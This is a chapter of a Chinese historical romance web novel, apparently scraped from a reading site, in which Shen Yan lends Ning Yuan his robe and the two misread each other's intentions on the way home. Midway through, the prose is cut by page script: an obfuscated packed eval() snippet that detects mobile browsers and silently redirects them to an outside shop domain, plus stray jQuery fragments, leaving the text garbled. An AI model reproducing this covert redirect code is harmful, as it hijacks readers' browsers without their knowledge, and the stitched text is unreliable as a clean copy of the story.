8. 脱衣
    “自然是用你的双足走。”

    “难不成还要我抱你出去吗?”

    沈砚随口噎了她一句,从容理了理自己的衣袍。

    诚然,他并不想把外袍再借给她。

    她对他的误会已然很深了,如若他还这样顾念她,保不齐两人的误会要再深些许。

    况且外间人多口杂,他们又这样惹眼,被什么人看见宁沅裹着他的外袍一同从房间出来,再传扬出去,两人的清誉还要不要了?

    可她终究是个姑娘家,若当真这般出去,只怕是会更没清誉。

    沈砚难得遇上这般比杀人谋算还要棘手之事,一时有些心烦。

    久久不闻回应,他主动退让一步道:“要不然我勉为其难陪你在这儿多待一会儿,待你的衣裙干得差不多,我再送你回去。”

    宁沅依旧没有搭理他,扯了扯仍湿答答的衣裳,一时有些沮丧。

    她虽生在高门,却也不是可以偶尔任性的娇养闺秀。

    她若是很晚回府,明薇定会挑刺为难。

    可沈砚既不愿帮她,在这儿候到衣裳稍干,便是最好的办法。

    罢了,不过就是受些挤兑,再被她爹罚跪祠堂,届时见招拆招罢。

    沈砚刻意回避着不去看她,但这样看似君子的行径,其实并没有什么作用。

    他甚至都不用闭眼,只肖听见微风拂过她纱衣的簌簌声响,便不自觉地浮现出少女先前不甚泄出的春光和惊慌失措的神情。

    加之她春风细雨般的绵软嗓音在脑海中不停回荡,让他很轻易地生出一种邪念。

    他忽然有些好奇。

    这样的嗓音,若是不能囫囵说出一整句话,那该是什么样子的。

    ……

    沈砚在心底里学着她唾骂了句自己,按了按额角,甩开这些莫名的念头。

    若她会挨罚,便不能在此久留,还是得早些回府。

    他在男人堆里已堪称是不近女色的典范,即便如此,也难免因她的湿衣而起了遐思。

    若是宁沅真的这般走出去,有歹人起了不轨之心,蓄意招惹,她这样的娇柔小姐,岂非毫无抵抗之力。

    沈砚始终背对着她,终于犹豫抬手,搭在了腰间的革带上。

    白衫自板正逐渐变得松垮,革带欲系不系,恰好搭在臀上,勾出连接处微翘的弧度。

    他的动作很慢,看起来颇有些不情愿。

    然这份缓慢落在宁沅眼中,却莫名其妙沾染了些欲色。

    她凝着他的背影,逐渐瞪大了眼睛。

    一眨不眨。

    他他他……怎么脱个外衫,跟在勾引她似的。

    上回他也不这样啊,动作极快,干净利落。

    外袍褪下,宽肩薄背映入眼帘,因仅着一袭单薄中衣,肌肉使力之时,看似清瘦的身形撑起沟壑清晰的线条。

    看不出来嘛,身材还挺好。

    宁沅心想。

    可不知为何,他才不情不愿褪了一半,却忽地飞快褪下,而后径直把衣袍丢给了她。

    宁沅自堆叠衣袍里扒出脑袋,再看向他时,已然又是清逸颀长的身姿。

    光华内敛,沉稳从容。

    ……只是他的耳廓好像有些红。

    他这是害羞了?

    也是,毕竟是单独在喜欢的姑娘面前脱衣裳,怎么想都觉得有些那个。

    他难得好心,她还是不要戳破了。

    “谢谢你呀,我们走吧。”

    干燥温暖的冷梅香气将她包裹起来,她朝他的背影笑了笑。

    在他迈开长腿之前,冷淡的声音先一步飘过来。

    “如若你不想成为明日街头巷尾议论的话题,我建议你遮一遮脸。”

    “嗯嗯!”

    她雀跃应下,感慨他的思虑越发周全,正欲抬起宽大的袖袍挡脸,不知何物从他袖中缓缓飘了下来。

    “沈砚,你的东西掉了。”

    她一面弯身去捡,一面唤他。

    “这什么呀?怎么看着有点眼熟。”

    沈砚心中一坠。

    遭了,他把她的帕子给忘了。

    他赶忙回身,动作出人意料地敏捷。

    正欲先她一步把那帕子捡起来,谁料她的速度也不弱于他,最后,两人蹲着身子,分别扯着帕子的两端,不约而同地抬了头。

    “……这怎么是我的帕子?”

    “我没有。”

    四目相对,异口同声。

    宁沅愣了一瞬,率先道:“你没有什么?”

    沈砚颇不自然地挪开目光。

    他本以为宁沅会问:“你藏着我的帕子,是不是喜欢我?”

    “我没有私藏你帕子的意思。”他站起身来,居高临下道,“是我在刑部长廊里捡到,方才忘了还你,你不要自作多情。”

    “你想要,就拿走罢。”

    说罢,他率先迈出了房间。

    他腿长,步子迈得又大,宁沅紧赶慢赶才追了上去,捏着手中的帕子,自垂落的袖下瞧着他白靴的银边,漫无边际地想,她看见帕子的时候,本没有思虑太多。

    从她自己身上掉出来,也不是没有可能。

    结果沈砚当即就承认是他自己捡到的,还解释他并没有私藏的意思,还特地补了句她想要就拿走。

    想要就拿走。

    那她要是不要,他是不是还想自留?

    还说不想私藏,言语间的破绽简直昭然若揭。

    她面色复杂,望着他挺拔的脊背,打算把这件事情当做不知道。

    一声轻笑自前面传来,吓得宁沅赶忙把脑袋在袖子里埋得更深了些。

    能与她独处了这么半晌,他一定高兴死了吧。

    ……待会儿还得同乘一辆马车呢。

    真是便宜他了。

    沈砚是笑了。

    不过是被气笑的。

    真是一种前所未有的沉冤不得昭雪之感呢。

    但现下他连笑也不大敢再笑。

    这个女人简直什么事情都能往她自个儿身上想。

    明决守在楼外,见两人一前一后绕过九曲桥,自家公子冷着一张脸,又是仅着中衣的模样,而那外袍又跑去了宁小姐身上。

    怎么回事?

    来时还心情不错,怎么如今又绷着一张脸?

    他赶忙迎了上去,招呼道:“公子,马车早已备好了。……您怎么看上去这般严肃呢?”

    沈砚冷冷瞥了他一眼,目光如刀:“我严肃,是因为我生性就严肃。”

    明决颇有眼力见的闭了嘴。

    难得见他生气,还是不要惹他为好。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321883|139493||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>到了马车前,沈砚吩咐道:“去宁府。”

    马车缓缓压过青石板路,宁沅紧紧按着坐榻,尽量把自己缩成一团。

    车内虽然宽敞,两人面对面坐着,她一抬眼便能瞧见沈砚的冷脸,一低头又是他端正放着的长腿,存在感实在太过强烈,所以她只好努力把自己变成空气。

    可沈砚并没有拿她当空气。

    “宁小姐,你上上下下地在看什么?”

    该不会又在肖想他罢?

    一双浅淡的琥珀眼瞳带着些许不悦,静静等着她的下文。

    不对,她若是肖想他,他应当能听得见。

    是他一时气急了。

    沈砚神色稍稍缓和。

    这人也太喜怒无常了罢。

    宁沅把自己缩得更小了些,垂下眼睛。

    “我没看什么,你不要自作多情。”

    多说多错,保持沉默,不惹沈砚,快乐生活。

    她默念了一遍四字箴言,决心继续把自己当成一颗平平无奇的白菜。

    男子颇为罕见地没有拿话噎她,车内静默许久,宁沅抿着唇,偷偷抬眸瞥了他一眼,却见沈砚的目光不知什么时候落在了她的衣襟上。

    死变态,在想什么呢?

    牙齿在唇瓣上落下几颗小小齿印,她把衣襟攥得更紧了些。

    先前马车颠簸一瞬,她身上披着的外袍领口微微散开些许,露出了那片粉纱。

    沈砚亲眼瞧见那轻纱已然干了,朦胧遮住其下春光,只从最为单薄的边缘,依稀透出肌肤的底色。

    所以既然已经干了,她为何还不把衣袍还给他?

    她不会还要把自己的衣袍带回宁府,当做向旁人炫耀的资本罢?

    沈砚的目光如有实质,宁沅很轻易便能感受得到,他从未从自己的领口移开过。

    差不多得了,再看就过分了。

    是自己攥得还不够紧吗?

    她缩了缩脖子,恨不能立刻变成一只雪白的乌龟。

    还看,还看!

    见沈砚仍垂眸凝着她,宁沅终于不甘示弱地抬眼,迎上了他的目光。

    无声的对峙在两人之间汹涌,纷纷认为彼此在趁机占便宜。

    最终,宁沅的脸颊愈发地烫,率先败下阵来。

    马车里好热。

    她身上的衣裙本就是最为合宜如今的气温,如今却罩了件外袍,闷在马车里,拽得密不透风,以至于微微发了些汗。

    她决心无视沈砚,不同他计较。

    看就看呗,看她又不会少两块肉。

    好歹她也是国公府的大小姐,他为了官声,大抵也不会拿她怎么样。

    她微微松了衣襟,见里面的衣裳已然干透,一颗心更是彻底放下来,干脆扯开了外袍衣领,瞥过头去,透过车帘的缝隙吹风。

    她什么意思?

    这一连串的举动令沈砚颇为不解。

    衣裳干了,还不把外袍还给他,只是扯开衣领,故意露出一截又细又白的颈子,加之一双精致锁骨。

    纵然她长得不错,身段也还凑合,可这样的勾引手段,未免也太拙劣了些吧?

    简直同那些庸脂俗粉如出一辙。

    沈砚心中厌烦更甚,不欲与她再多纠缠,径直开口道:“宁小姐,请你把衣裳脱了。”